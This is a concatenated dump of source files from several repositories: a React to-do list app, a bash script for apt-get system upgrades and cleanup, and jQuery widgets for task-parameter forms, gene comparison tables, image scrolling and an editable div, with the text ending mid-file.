useState(null); let createRef = React.createRef(); const handleClick = () => { if (!input) { createRef.current.innerHTML = "Plese enter input field!"; } else if (input && !toggleSubmit) { createRef.current.innerHTML = ""; setItems( items.map((element) => { if (element.id === isEdit) { return { ...element, text: input, }; } return element; }) ); setToggleSubmit(true); setInput(""); setIsEdit(null); } else { createRef.current.innerHTML = ""; const allInput = { id: Math.floor(Math.random() * 10000), text: input, }; setItems([...items, allInput]); setInput(""); } }; const editItem = (id) => { const updateItem = items.find((element) => { return element.id === id; }); setToggleSubmit(false); setInput(updateItem.text); setIsEdit(id); }; const deleteItem = (id) => { const filterItems = items.filter((element) => { return element.id !== id; }); setItems(filterItems); }; const removeItems = () => { setItems([]); }; // local storage setItem() to save my items useEffect(() => { localStorage.setItem("lists", JSON.stringify(items)); }, [items]); return ( <div className="container"> <div className="todoImage"> <Zoom direction="right" delay="100" triggerOnce> <TodoCalender /> </Zoom> <img src={headerImage} alt="header-pic" width="100%" height="150px" /> </div> <Fade delay="200"> <div className="todo_main"> <span className="msg" ref={createRef}></span> <input type="text" name="input" placeholder="Add Items" value={input} onChange={(e) => setInput(e.target.value)} className="todo-input" /> {toggleSubmit ? ( <i class="fas fa-plus-circle todo-icons todo-icons-add" onClick={handleClick} title="Add Item" ></i> ) : ( <i class="fas fa-edit todo-icons todo-icons-edit" onClick={handleClick} title="Edit Item" ></i> )} <div className="showItem"> {items.map((item) => { return ( <div className="todo-row"> <h3>{item.text}</h3> <div className="icons_right"> <i class="far fa-edit icons" title="Edit Item" onClick={() => editItem(item.id)} ></i> <i class="far fa-trash-alt icons" title="Delete Item" onClick={() => deleteItem(item.id)} ></i> </div> </div> ); })} </div> <div className="showItem"> <button className="todo-button" onClick={removeItems}> clear all </button> </div> </div> </Fade> </div> ); }; export default TodoItems; <file_sep>import "./App.css"; import TodoItems from "./components/TodoItems"; import { Zoom } from "react-awesome-reveal"; function App() { return ( <Zoom triggerOnce> <div className="todo_title"> <h3>Todo List</h3> </div> <TodoItems /> </Zoom> ); } export default App;
a47ad57667d260efccb394ecbbb6fb70fb402eea
[ "JavaScript" ]
3
JavaScript
Digilearning1/React-Todo-List-App
ca8eb2b33319a53c7fb524a670032ef6e4cdbf17
b132f04c2d8997b4877dcc60afa8df9c39dc5b5e
refs/heads/master
<file_sep>#!/bin/bash apt-get update && apt-get upgrade apt-get dist-upgrade apt-get install deborphan deborphan apt-get clean && apt-get autoremove --purge apt-get update && apt-get upgrade apt-get dist-upgrade apt-get clean && apt-get autoremove --purge
8680e447af146eb34a927a218fb1d72a08e43c2e
[ "Shell" ]
1
Shell
ltruchot/rasputil
9182b543cb7a43752567db166e1eaf91153c0102
fba013344cf968a46cf4fc24594e438410c3e736
refs/heads/master
<repo_name>johnbh14/MIT-6.0002<file_sep>/ps1/ps1b.py ########################### # 6.0002 Problem Set 1b: Space Change # Name: # Collaborators: # Time: # Author: charz, cdenise #================================ # Part B: Golden Eggs #================================ # Problem 1 def dp_make_weight(egg_weights, target_weight, memo = {}): """ Find number of eggs to bring back, using the smallest number of eggs. Assumes there is an infinite supply of eggs of each weight, and there is always a egg of value 1. Parameters: egg_weights - tuple of integers, available egg weights sorted from smallest to largest value (1 = d1 < d2 < ... < dk) target_weight - int, amount of weight we want to find eggs to fit memo - dictionary, OPTIONAL parameter for memoization (you may not need to use this parameter depending on your implementation) Returns: int, smallest number of eggs needed to make target weight """ #bottom-up tabulation for egg_weight in egg_weights: memo[egg_weight] = 1 for weight in range(min(egg_weights) + 1, target_weight + 1): new_eggs = [] for egg_weight in egg_weights: partial_weight = weight - egg_weight if partial_weight > 0: new_eggs.append(memo[partial_weight] + 1) memo[weight] = min(new_eggs) return memo[target_weight] """ #top-down recursion if target_weight == 0: return 0 if target_weight in memo: return memo[target_weight] eggs = [] #a list of my solutions for each egg_weight for egg_weight in egg_weights: if egg_weight <= target_weight: eggs.append(dp_make_weight(egg_weights, target_weight - egg_weight, memo) + 1) memo[target_weight] = min(eggs) return memo[target_weight] """ #Greedy Solution """ egg_weights = sorted(egg_weights, reverse=True) eggs_used = 0 for egg_weight in egg_weights: num_eggs = target_weight // egg_weight target_weight -= num_eggs * egg_weight eggs_used += num_eggs return eggs_used """ # EXAMPLE TESTING CODE, feel free to add more if you'd like if __name__ == '__main__': egg_weights = (1, 5, 10, 25) n = 99 print("Egg weights = (1, 5, 10, 25)") print("n = 99") print("Expected ouput: 9 (3 * 25 + 2 * 10 + 4 * 1 = 99)") print("Actual output:", dp_make_weight(egg_weights, n)) print() """ egg_weights = (1, 3, 7, 13) n = 72 print(egg_weights) print(str(n)) print("Expected ouput: 6 (5 * 13 + 1 * 7 = 72)") print("Actual output:", dp_make_weight(egg_weights, n)) print() """
5760843b0da17e243571fea5223eb6e61be381d2
[ "Python" ]
1
Python
johnbh14/MIT-6.0002
6c77068610d91414d8043e81f823db44e9b0a930
7fc277fefc20d80369920b8d05589e939628d3d3
refs/heads/master
<repo_name>NovelBioCloud/JsLibrary<file_sep>/web-library/taskParam/taskParamPlugin.js /** * task前台页面参数转为页面控件. */ var taskParamPlugin = function(optsIn) { var optsDefault = { parentDiv: null, taskId : null, taskType : null, readOnly : false, isPipeline : false } var opts = $.extend(optsDefault, optsIn); var lsTaskModuleParam; var mapTaskData; /** * 初始化页面. */ this.init = function() { $.when(getTaskValues(), getTaskModuleParam()) .done(function(res1, res2) { initPage(); }); } /* * 获取task类型的参数名和相关属性 */ function getTaskModuleParam() { var dfd = $.Deferred(); $.ajax({ url : 'taskModuleParamMap_getPageParam', dataType : 'json', type : 'post', data : { taskType : opts.taskType }, success : function(data) { if (data.state) { lsTaskModuleParam = data.result; } else { toastr.error("数据初始化异常."); } dfd.resolve('111'); } }); return dfd.promise(); } /* * 获取当前task设置的参数值. */ function getTaskValues() { var dfd = $.Deferred(); var url = opts.isPipeline ? "pipeline_getTaskParams" : "task_getTaskParams"; $.ajax({ url : url, dataType : 'json', type : 'post', data : { taskId : opts.taskId }, success : function(data) { if (data.state) { mapTaskData = data.result; } else { toastr.error("数据初始化异常."); } dfd.resolve('222'); } }); return dfd.promise(); } /* * 初始化页面 */ function initPage(){ initSpecies(); //先循环加控件 var value; for (var i = 0; i < lsTaskModuleParam.length; i++) { var taskModuleParam = lsTaskModuleParam[i]; if(!_.isEmpty(taskModuleParam.widgetType)){ if(_.isEmpty(mapTaskData[taskModuleParam.name])) { value = ''; } else { value = mapTaskData[taskModuleParam.name].length == 1 ? mapTaskData[taskModuleParam.name][0] : mapTaskData[taskModuleParam.name]; } var $content = $(_.template($("#" + taskModuleParam.widgetType).html())({ data : taskModuleParam, value : value })); opts.parentDiv.append($content); } } if(opts.taskType === 'DifGene'){ initDifGeneTable(); } initNormalTable(); //初始化控件,因为有些控件根据选择的值会被隐藏,所以上一步先循环把所有的控件都加上. for (var i = 0; i < lsTaskModuleParam.length; i++) { var taskModuleParam = lsTaskModuleParam[i]; if(_.isEmpty(mapTaskData[taskModuleParam.name])) { value = null; } else { value = mapTaskData[taskModuleParam.name].length == 1 ? mapTaskData[taskModuleParam.name][0] : mapTaskData[taskModuleParam.name]; } if(!_.isEmpty(taskModuleParam.widgetType)){ var fn = eval(taskModuleParam.widgetType); fn.call(this, opts.parentDiv, taskModuleParam, value); } } } /* * 初始化物种选择页面. */ function initSpecies() { var species,speciesVersion,dbType; var count = 0; var isContainMappingTo = false; var mappingToValue,mappingToLabelName; for (var i = 0; i < lsTaskModuleParam.length; ) { var taskModuleParam = lsTaskModuleParam[i]; if (taskModuleParam.name === "species") { count++; species = _.isEmpty(mapTaskData[taskModuleParam.name]) ? '' : mapTaskData[taskModuleParam.name][0]; _.remove(lsTaskModuleParam, taskModuleParam); continue; } else if (taskModuleParam.name === "speciesVersion") { count++; speciesVersion = _.isEmpty(mapTaskData[taskModuleParam.name]) ? '' : mapTaskData[taskModuleParam.name][0]; _.remove(lsTaskModuleParam, taskModuleParam); continue; } else if (taskModuleParam.name === "dbType") { count++; dbType = _.isEmpty(mapTaskData[taskModuleParam.name]) ? '' : mapTaskData[taskModuleParam.name][0]; _.remove(lsTaskModuleParam, taskModuleParam); continue; } else if (taskModuleParam.name === "mappingTo") { isContainMappingTo = true; mappingToValue = _.isEmpty(mapTaskData[taskModuleParam.name]) ? '' : mapTaskData[taskModuleParam.name][0]; mappingToLabelName = taskModuleParam.displayName; _.remove(lsTaskModuleParam, taskModuleParam); continue; } i++; } if(count === 0) { //说明该task没有物种相关参数 return; } var optsIn = { speciesId : species, speciesVersion : speciesVersion, dbType : dbType, speciesName : "species", speciesVersionName : "speciesVersion", getSpeciesUrl : "base_getSeqSpecies", isreadonly : opts.readOnly, isSimple : true, perHeight: 60, isContainMappingTo: isContainMappingTo, mappingTo: mappingToValue, mappingToName: mappingToLabelName } var nbcSpecies = new NBC.BootstrapeNBCSpecies(optsIn); nbcSpecies.init(); opts.parentDiv.append(nbcSpecies.getHtml()); if(count === 1){ nbcSpecies.hideVersionAndDbType(); }else if(count === 2){ nbcSpecies.hideDbType(); } } /* * 下拉框 */ function nbcCombobox(content, taskModuleParam, value) { var url = taskModuleParam.valueUrl; $.ajax({ url : url, dataType : 'json', type : 'post', success : function(data) { var datahtml = ""; for (var i = 0; i < data.length; i++) { datahtml = datahtml + "<option value='" + data[i].id + "'>" + data[i].text + "</option>"; } content.find("#" + taskModuleParam.name).empty().append(datahtml); content.find("#" + taskModuleParam.name).selectpicker({ title : 'Nothing selected', liveSearch : false, maxOptions : 1 }).on('changed.bs.select', function(e) { var newValue = content.find("#" + taskModuleParam.name).selectpicker('val'); if (newValue != null && newValue != '') { // TODO 考虑加入滑动特效 $("." + taskModuleParam.name).fadeOut("slow"); // 同时含有name和newvalue的才会删除 $("." + taskModuleParam.name + "." + newValue.replace(/[^\w\/]/ig, '')).fadeIn("slow"); } }); if (!_.isEmpty(value)) { content.find("#" + taskModuleParam.name).selectpicker('val', value); $("." + taskModuleParam.name).hide(); // 同时含有name和value的才会删除 $("." + taskModuleParam.name + "." + value.replace(/[^\w\/]/ig, '')).show(); } if (opts.readOnly) { $('#' + taskModuleParam.name).prop('disabled', true); } } }); } /* * 输入框 */ function validationInput(content, taskModuleParam, value) { if (_.isEmpty(taskModuleParam.dataOption)) { return; } //添加验证. var name = taskModuleParam.name; var options = eval("({" + taskModuleParam.dataOption + "})"); var rule = {}; rule[name] = options; $("#taskInfoForm").validate({ onsubmit: false, rules: rule, errorPlacement: function(error, element) { var errHtml = error.html(); if(!_.isEmpty(errHtml)) { $("[name='" + name + "']").tooltip({title: error.html(), placement:"left"}).tooltip("show"); toastr.error(error.html()); } }, success: function() { $("[name='" + name + "']").tooltip("destroy"); } }); } /* * 单选框 */ function nbcChkbox(content, taskModuleParam, value) { if(!_.isEmpty(value)) { $("#" + taskModuleParam.name).attr("checked", true); //显示元素 $("." + taskModuleParam.name).fadeIn("slow"); } else { $("#" + taskModuleParam.name).attr("checked", false); //隐藏元素 $("." + taskModuleParam.name).fadeOut("slow"); } $("#" + taskModuleParam.name).iCheck({ checkboxClass : 'icheckbox_square-blue', radioClass : 'iradio_minimal-blue', increaseArea : '50%' // optional }).on('ifChecked ifUnchecked', function(event) { if ("ifUnchecked" === event.type) { //隐藏元素 $("." + taskModuleParam.name).fadeOut("slow"); } else { //显示元素 $("." + taskModuleParam.name).fadeIn("slow"); } }); if(opts.readOnly){ $("#" + taskModuleParam.name).iCheck('disable'); } } /* * 下拉多选 */ function multiCombobox(content, taskModuleParam, value) { $('#' + taskModuleParam.name).magicSuggest({ name : taskModuleParam.name, maxSelectionRenderer : function(v) { return ''; }, data : taskModuleParam.valueUrl, valueField : "id", displayField : "text", value : value, onSelect : function() { var newValue = $('#' + taskModuleParam.name).magicSuggest().getValue(); if(newValue != null && newValue[0] != '') { $("." + taskModuleParam.name).fadeOut("slow"); $("." + newValue[0].replace(/[^\w\/]/ig,'')).fadeIn("slow"); } }, disabled : opts.readOnly, resultAsString: true }); } /* * 单选框初始化. */ // function radio(content, taskModuleParam, value) { // if(value === taskModuleParam.radioValue1) { // $("#" + taskModuleParam.radioValue1).attr("checked","checked"); // $("#" + taskModuleParam.radioValue2).removeAttr("checked"); // } else { // $("#" + taskModuleParam.radioValue2).attr("checked","checked"); // $("#" + taskModuleParam.radioValue1).removeAttr("checked"); // } // // //选择值后,隐藏相关class的处理. // $("." + taskModuleParam.name).click(function() { // if ($(this).attr("value") === taskModuleParam.radioValue1) { // $("." + taskModuleParam.radioValue1).fadeIn("slow"); // $("." + taskModuleParam.radioValue2).fadeOut("slow"); // } else if($(this).attr("value") === taskModuleParam.radioValue2) { // $("." + taskModuleParam.radioValue1).fadeOut("slow"); // $("." + taskModuleParam.radioValue2).fadeIn("slow"); // } // }) // } /* * 滑动器 */ function slider(content, taskModuleParam, value) { var options = "({" + taskModuleParam.dataOption + "})"; var obj = eval(options); $("#" + taskModuleParam.name).ionRangeSlider({ type: "single", min: obj.min, max: obj.max, step: 1, from: value, grid: true, grid_snap: true }); } /* * 初始化difGene的两个表格. */ function initDifGeneTable() { var hiddenTable1 = _.isEmpty(mapTaskData.inFileName) ? true : false; var optsDefault = { colSampleArray : mapTaskData.colSampleArray, sampleNameArray : mapTaskData.sampleNameArray, groupNameArray : mapTaskData.groupNameArray, group1Array : mapTaskData.group1Array, group2Array : mapTaskData.group2Array, outFileArray : mapTaskData.outFileArray, hiddenTable1 : hiddenTable1, readOnly : opts.readOnly } var geneTable = new NBC.GeneTable(optsDefault); geneTable.init(); opts.parentDiv.append(geneTable.getTable1()); opts.parentDiv.append(geneTable.getTable2()); $("#loadDefault").click(function(){ geneTable.loadDefaultData(); }); var difGeneTableParam = ["colSampleArray", "sampleNameArray", "groupNameArray", "group1Array", "group2Array", "outFileArray"]; for (var i = 0; i < lsTaskModuleParam.length; ) { var taskModuleParam = lsTaskModuleParam[i]; if (_.indexOf(difGeneTableParam, taskModuleParam.name) >= 0) { _.remove(lsTaskModuleParam, taskModuleParam); continue; } i++; } } /* * 初始化普通表格. * 普通表格的setParamType字段所用的属性是Compare和OutPrefix.通过prefixAssociated字段关联. */ function initNormalTable() { var needTable = false; var params = {}; var value,groupName,outFileArray; for (var i = 0; i < lsTaskModuleParam.length; i++) { var taskModuleParam = lsTaskModuleParam[i]; if (_.indexOf(taskModuleParam.paramType, "Compare") >= 0) { value = _.isEmpty(mapTaskData[taskModuleParam.name]) ? '' : mapTaskData[taskModuleParam.name]; params[taskModuleParam.name] = value; needTable = true; } else if (_.indexOf(taskModuleParam.paramType, "Prefix") >= 0) { groupName = _.isEmpty(mapTaskData[taskModuleParam.name]) ? null : mapTaskData[taskModuleParam.name]; } else if (_.indexOf(taskModuleParam.paramType, "OutPrefix") >= 0) { outFileArray = _.isEmpty(mapTaskData[taskModuleParam.name]) ? null : mapTaskData[taskModuleParam.name]; } } if (!needTable) { return; } var optsDefault = { params : params, groupName : groupName, //组名 outFileArray : outFileArray, // 输出文件名 readOnly : opts.readOnly // 是否只读 }; var rnaAlterTable = new NBC.rnaAlterTable(optsDefault); rnaAlterTable.init(); opts.parentDiv.append(rnaAlterTable.getHtml()); } } <file_sep>/web-library/atry/atry.js (function(window, $, _) { if (window.ar) { throw "can not bind actry to window"; } var atry = { get : function(selector) { return $(selector).get(0); }, find : function(selector) { return $(selector).get(); }, isBlank : function(str) { } }; window.ar = atry; })(window, $, _, undefined);<file_sep>/web-library/taskParam/difGeneTable.js Namespace.register("NBC"); /** * difGene的第一个可编辑表格. * 依赖于jquery.lodash,toastr等. */ NBC.GeneTable = function(optsIn) { var optsDefault = { colSampleArray : null, //样本列号 sampleNameArray : null, groupNameArray : null, //组名 group1Array : null, //组1 group2Array : null, //组2 outFileArray : null, //输出文件名 hiddenTable1 : '', //隐藏第一个表格,为空说明没有选择文件,需要隐藏.否则,不隐藏. readOnly : false, //是否只读 tableNum : 2 } var opts = $.extend(optsDefault, optsIn); var nbcTable1Div = $(_.template($("#table1PanelTemp").html())({ readOnly : opts.readOnly })); var nbcTable2Div = $(_.template($("#table2PanelTemp").html())({ readOnly : opts.readOnly })); this.init = function () { table1.initTable(); if(opts.tableNum != 1){ table2.initTable(); } } this.loadDefaultData = function(){ table1.loadDefaultData(); } /** * 第一个table */ var table1 = { initTable : function(){ $(nbcTable1Div).find("#addSample2GroupTable").click(function(){ table1.addRow("", "", ""); }); $(nbcTable1Div).find("#delSample2GroupTable").click(function(){ table1.delRow(); }); $(nbcTable1Div).find("#confirm").click(function(){ table1.confirm(); }); //没有数据,按样本做初始化. if(_.isEmpty(opts.colSampleArray) && _.isEmpty(opts.groupNameArray)){ // groupNameArray = table1.getGroupName(); // opts.colSampleArray = new Array(); // for(var i = 0;i < opts.groupNameArray.length;i++){ // opts.colSampleArray.push(""); // } table1.loadDefaultData(); } table1.loadData(); }, // /** // * 没有填写任何值时,获取项目所有样本的分组填写进去. // */ // getGroupName : function(){ // $.ajax({ // url : 'project_getGroupNameList', // dataType : 'json', // type : 'post', // async: false, // data : { // 'projectId' : $("#projectId").val() // }, // success : function(data) { // if (data.state) { // opts.groupNameArray = data.result; // return opts; // } else { // toastr.info('数据加载失败,请刷新重试或联系管理员!'); // } // } // }); // }, /** * 加载默认数据. */ loadDefaultData : function(){ $.ajax({ url : 'task_getDifGeneSampel', dataType : 'json', type : 'post', async: false, data : { 'taskId' : $("#taskId").val() }, success : function(data) { if (data.state) { var data = data.result; var groupNameArray = new Array(); for(var i =0;i < data.length;i++){ table1.addRow(data[i][0], data[i][1], data[i][2]); if(!_.isEmpty(data[i][2]) && _.indexOf(groupNameArray, data[i][2]) <= -1){ groupNameArray.push(data[i][2]); } } table1.reCalculate(); opts['groupNameArray'] = groupNameArray; } else { toastr.info('数据加载失败,请刷新重试或联系管理员!'); } } }); }, /** * 加载数据 */ loadData : function(){ for(var i = 0; !_.isEmpty(opts.colSampleArray) && i < opts.colSampleArray.length; i++){ table1.addRow(opts.colSampleArray[i], opts.sampleNameArray[i], opts.groupNameArray[i]); } }, /** * 增行 */ addRow : function(colSample, sampleName, groupName){ var $content = $(_.template($("#table1RowPanelTemp").html())({ colSample : colSample, sampleName : sampleName, groupName : groupName, readOnly : opts.readOnly })); $content.click(function(){ nbcTable1Div.find(".table1Row").removeClass("active"); $(this).addClass("active"); }); $content.find(".delRow").click(function(){ $(this).parent().parent().parent().parent().remove(); table1.reCalculate(); }); nbcTable1Div.find("#sample2GroupTable").append($content); table1.reCalculate(); }, // /** // * 删行 // */ // delRow : function(){ // if(opts.readOnly){ // return; // } // $(".table1Row.active").remove(); // table1.reCalculate(); // }, /** * 获取组名,去除重复组名 */ getGroupname : function(){ var groupNamehtmlArray = $("input[name='groupNameArray']"); var groupNameArray = new Array(); var groupName = null; for(var i = 0;i < groupNamehtmlArray.length; i++){ groupName = $(groupNamehtmlArray[i]).val(); if(!_.isEmpty(groupName) && _.indexOf(groupNameArray, groupName) <= -1){ groupNameArray.push($(groupNamehtmlArray[i]).val()); } } opts['groupNameArray'] = groupNameArray; return groupNameArray; }, /** * 确定 */ confirm : function(){ table2.updateOption(); }, /** * 计算行号 */ reCalculate : function(){ var rowNos = $(".table1Row .rowNo"); if(_.isEmpty(rowNos)){ return; } var length = rowNos.length; for(var i=0; i< length;i++){ $(rowNos[i]).empty().append(i + 1); } }, }; /** * 第二个table */ var table2 = { initTable : function(){ $(nbcTable2Div).find("#addGroupVSgroupTable").click(function(){ table2.addRow("", "",""); }); $(nbcTable2Div).find("#delGroupVSgroupTable").click(function(){ table2.delRow(); }); $(nbcTable2Div).find("#confirm").click(function(){ table2.confirm(); }); //没有数据,按样本做初始化. if(!_.isEmpty(opts.group1Array) || !_.isEmpty(opts.group2Array)){ table2.loadData(); } }, /** * 加载数据 */ loadData : function(){ for(var i = 0; i < opts.outFileArray.length; i++){ table2.addRow(opts.group1Array[i], opts.group2Array[i], opts.outFileArray[i]); } }, /** * 增行 */ addRow : function(group1, group2, outFile){ var optionhtml = ""; if(!opts.hiddenTable1){ table1.getGroupname(); } for(var i = 0; i < opts.groupNameArray.length; i++){ optionhtml = optionhtml + "<option value='" + opts.groupNameArray[i] + "'>" + opts.groupNameArray[i] + "</option>"; } var $content = $(_.template($("#table2RowPanelTemp").html())({ outFile : outFile, readOnly : opts.readOnly })); $content.find("select[name='group1Array']") .append(optionhtml) .selectpicker({ title: 'Nothing selected', liveSearch: false, maxOptions: 1 }) .on('changed.bs.select', function (e) { var group1 = $content.find("select[name='group1Array']").selectpicker('val'); var group2 = $content.find("select[name='group2Array']").selectpicker('val'); $content.find("input[name='outFileArray']").val(group1 + "VS" + group2); }) .selectpicker('val', group1); $content.find("select[name='group2Array']") .append(optionhtml) .selectpicker({ title: 'Nothing selected', liveSearch : false, maxOptions : 1 }) .on('changed.bs.select', function (e) { var group1 = $content.find("select[name='group1Array']").selectpicker('val'); var group2 = $content.find("select[name='group2Array']").selectpicker('val'); $content.find("input[name='outFileArray']").val(group1 + "VS" + group2); }) .selectpicker('val', group2); $content.click(function(){ nbcTable2Div.find(".table2Row").removeClass("active"); $(this).addClass("active"); }); nbcTable2Div.find("#groupVSgroupTable").append($content); //去掉表格边框 $(".tablecontentColor button").css({ border:"none" }); $(".tablecontentColor input").css({ border:"none" }); }, updateOption : function(){ var groupnameArray = table1.getGroupname(); var optionhtml = ""; for(var i = 0; i < groupnameArray.length; i++){ optionhtml = optionhtml + "<option value='" + groupnameArray[i] + "'>" + groupnameArray[i] + "</option>"; } var selects = nbcTable2Div.find("select"); for(var i = 0; i < selects.length; i++){ $(selects[i]).empty().append(optionhtml); $(selects[i]).selectpicker('refresh'); } }, /** * 删行 */ delRow : function(){ if(opts.readOnly){ return; } $(".table2Row.active").remove(); }, /** * 添加所有组合 */ confirm : function(){ if(opts.readOnly){ return; } for(var i = 0 ; i < opts.groupNameArray.length ;i++){ var group1 = opts.groupNameArray[i]; for(var j = opts.groupNameArray.length - 1; j > i;j--){ var group2 = opts.groupNameArray[j]; table2.addRow(group1, group2, group1 + "VS" + group2); } } }, }; this.getTable1 = function() { return opts.hiddenTable1 ? '' : nbcTable1Div; } this.getTable2 = function() { return nbcTable2Div; } } <file_sep>/web-library/jquerypagewalkthrough/README.md jQuery Page Walkthrough ================================ Page Walkthrough is a flexible system for designing interactive, multimedia, educational walkthroughs. <h2>Example:</h2> To view jQuery Page Walkthrough example <a href="example/example.html">Click Here</a> <h2>Install:</h2> <pre> &lt;!-- CSS --&gt; &lt;link type="text/css" rel="stylesheet" href="css/jquery.pagewalkthrough.css" /&gt; &lt;!-- JQUERY --&gt; &lt;script type="text/javascript" src="js/jquery-1.7.2.min.js"></script> &lt;script type="text/javascript" src="js/jquery.pagewalkthrough-1.1.0.js"></script> </pre> <h2>jQuery Page Walkthrough Default Options:</h2> <pre> steps: [ { wrapper: '', //an ID of page element HTML that you want to highlight margin: 0, //margin for highlighted area, may use CSS syntax i,e: '10px 20px 5px 30px' or '20px 20px' and so on popup: { content: '', //ID content of the walkthrough type: 'modal', //tooltip, modal, nohighlight position:'top',//position for tooltip and nohighlight type only: top, right, bottom, left offsetHorizontal: 0, //horizontal offset for the walkthrough offsetVertical: 0, //vertical offset for the walkthrough width: '320', //default width for each step, draggable: false, // set true to set walkthrough draggable, contentRotation: 0 //content rotation : i.e: 0, 90, 180, 270 or whatever value you add. minus sign (-) will be CCW direction }, overlay: true, //use overlay or not, default: true accessable: false, //if true - you can access html element such as form input field, button etc autoScroll: true, //is true - this will autoscroll to the arror/content every step scrollSpeed: 1000, //scroll speed stayFocus: false, //if true - when user scroll down/up to the page, it will scroll back the position it belongs onLeave: null, // callback when leaving the step onEnter: null // callback when entering the step } ], name: '', onLoad: true, //load the walkthrough at first time page loaded onBeforeShow: null, //callback before page walkthrough loaded onAfterShow: null, // callback after page walkthrough loaded onRestart: null, //callback for onRestart walkthrough onClose: null, //callback page walkthrough closed onCookieLoad: null //when walkthrough closed, it will set cookie and tells the walkthrough to not load automaticly </pre> <h2>Public Methods:</h2> <pre> <strong>show</strong> : $.pagewalkthrough('show', target) This method allows you to open page walkthrough. Target is your walkthrough ID, i.e: #selector <strong>next</strong> : $.pagewalkthrough('next', event) This method allows you to go the NEXT step. Event is needed as a param to call next method <strong>prev</strong> : $.pagewalkthrough('prev', event) This method allows you to go the PREVIOUS step. Event is needed as a param to call prev method <strong>restart</strong> : $.pagewalkthrough('restart', event) This method allows you to go the RESTART step. Event is needed as a param to call restart method <strong>close</strong> : $.pagewalkthrough('close', target) This method allows you to go the CLOSE step. Target is optional. It could be filled with walkthrough ID or leave it blank <strong>isPageWalkthroughActive</strong> : $.pagewalkthrough('isPageWalkthroughActive') This property will return status of page walkthrough <strong>currIndex</strong> : $.pagewalkthrough('currIndex') This property will return current index of current walkthrough step </pre> <h2>Browser Support:</h2> <p>IE7+, Firefox (Win &amp; Mac), Safari (Win &amp; Mac), Chrome (Win &amp; Mac)</p> <p><strong>Note:</strong> Because chrome doesn't support running cookie in local file, if you want to test this plugin on chrome, you should run this plugin from webserver i.e: wamp, mamp, etc</p> <h2>Theme:</h2> <p>Will be added soon...</p> <file_sep>/web-library/jsPictureScroll/pictureScroll.js var ISL_Cont_1; var List1_1; var List2_1; $(function(){ $(".LeftBotton").on("mousedown",function(e){ setVar(e); ISL_GoUp_1(e); }).on("mouseup", function(e){ setVar(e); ISL_StopUp_1() }).on("mouseout", function(e){ setVar(e); ISL_StopUp_1() }); $(".RightBotton").on("mousedown",function(e){ setVar(e); ISL_GoDown_1(e); }).on("mouseup", function(e){ setVar(e); ISL_StopDown_1() }).on("mouseout", function(e){ setVar(e); ISL_StopDown_1() }); }); var Speed_1 = 10; //速度(毫秒) var Space_1 = 20; //每次移动(px) var PageWidth_1 = 107 * 3; //翻页宽度 var interval_1 = 5000; //翻页间隔时间 var fill_1 = 0; //整体移位 var MoveLock_1 = false; var MoveTimeObj_1; var MoveWay_1 = "right"; var Comp_1 = 0; var AutoPlayObj_1 = null; function setVar(e){ ISL_Cont_1 = $(e.toElement.parentElement.parentElement).find(".ISL_Cont_1")[0]; List1_1 = $(e.toElement.parentElement.parentElement).find(".List1_1")[0]; List2_1 = $(e.toElement.parentElement.parentElement).find(".List2_1")[0]; } function GetObj(objName) { if (document.getElementById) { return eval('document.getElementById("' + objName + '")') } else { return eval('document.all.' + objName) } } function AutoPlay_1() { clearInterval(AutoPlayObj_1); AutoPlayObj_1 = setInterval('ISL_GoDown_1();ISL_StopDown_1();', interval_1) } function ISL_GoUp_1() { if (MoveLock_1) return; clearInterval(AutoPlayObj_1); MoveLock_1 = true; MoveWay_1 = "left"; MoveTimeObj_1 = setInterval('ISL_ScrUp_1();', Speed_1); } function ISL_StopUp_1() { if (MoveWay_1 == "right") { return; }; clearInterval(MoveTimeObj_1); if ((ISL_Cont_1.scrollLeft - fill_1) % PageWidth_1 != 0) { Comp_1 = fill_1 - (ISL_Cont_1.scrollLeft % PageWidth_1); CompScr_1(); } else { MoveLock_1 = false; } AutoPlay_1(); } function ISL_ScrUp_1() { if (ISL_Cont_1.scrollLeft <= 0) { ISL_Cont_1.scrollLeft = ISL_Cont_1.scrollLeft + List1_1.offsetWidth } ISL_Cont_1.scrollLeft -= Space_1; } function ISL_GoDown_1() { clearInterval(MoveTimeObj_1); if (MoveLock_1) return; clearInterval(AutoPlayObj_1); MoveLock_1 = true; MoveWay_1 = "right"; ISL_ScrDown_1(); MoveTimeObj_1 = setInterval('ISL_ScrDown_1()', Speed_1) } function ISL_StopDown_1() { if (MoveWay_1 == "left") { return; }; clearInterval(MoveTimeObj_1); if (ISL_Cont_1.scrollLeft % PageWidth_1 - (fill_1 >= 0 ? fill_1 : fill_1 + 1) != 0) { Comp_1 = PageWidth_1 - ISL_Cont_1.scrollLeft % PageWidth_1 + fill_1; CompScr_1() } else { MoveLock_1 = false; }; AutoPlay_1(); } function ISL_ScrDown_1() { if (ISL_Cont_1.scrollLeft >= List1_1.scrollWidth) { ISL_Cont_1.scrollLeft = ISL_Cont_1.scrollLeft - List1_1.scrollWidth; } ISL_Cont_1.scrollLeft += Space_1; } function CompScr_1() { if (Comp_1 == 0) { MoveLock_1 = false; return; } var num, TempSpeed = Speed_1, TempSpace = Space_1; if (Math.abs(Comp_1) < PageWidth_1 / 2) { TempSpace = Math.round(Math.abs(Comp_1 / Space_1)); if (TempSpace < 1) { TempSpace = 1; } } if (Comp_1 < 0) { if (Comp_1 < -TempSpace) { Comp_1 += TempSpace; num = TempSpace; } else { num = -Comp_1; Comp_1 = 0; } ISL_Cont_1.scrollLeft -= num; setTimeout('CompScr_1()', TempSpeed); } else { if (Comp_1 > TempSpace) { Comp_1 -= TempSpace; num = TempSpace; } else { num = Comp_1; Comp_1 = 0; } ISL_Cont_1.scrollLeft += num; setTimeout('CompScr_1()', TempSpeed); } } function picrun_ini() { List2_1.innerHTML = List1_1.innerHTML; ISL_Cont_1.scrollLeft = fill_1 >= 0 ? fill_1 : List1_1.scrollWidth - Math.abs(fill_1); ISL_Cont_1.onmouseover = function() { clearInterval(AutoPlayObj_1); } ISL_Cont_1.onmouseout = function() { AutoPlay_1(); } AutoPlay_1(); }<file_sep>/web-library/nbcEditor/nbcEditorNew.js /** * 可编辑div控件 在nbcTask.js中使用,就那个记录信息的小框 * * @param {} * _option */ NBCEditorNew = function(_option) { var defaults = { defaultValue : "在此填写信息",// 默认值 value : "在此填写信息",// 实际值 div : $("<div style='width:300px;height:200px;' contenteditable='true'></div>"),// 可编辑的div // 最大长度 // maxSize:30, initValue : true, readOnly : false,// 是否只读 onStart : function() { },// 开始编辑时触发的事件 need : "text", // text html 是需要div中的文本,还是其中的页面 classEditing : "editBeautifulDiv",// 可编辑div的样式 onEnd : function(value) { }// 当结束编辑的时候触发的事件 }; var option; var 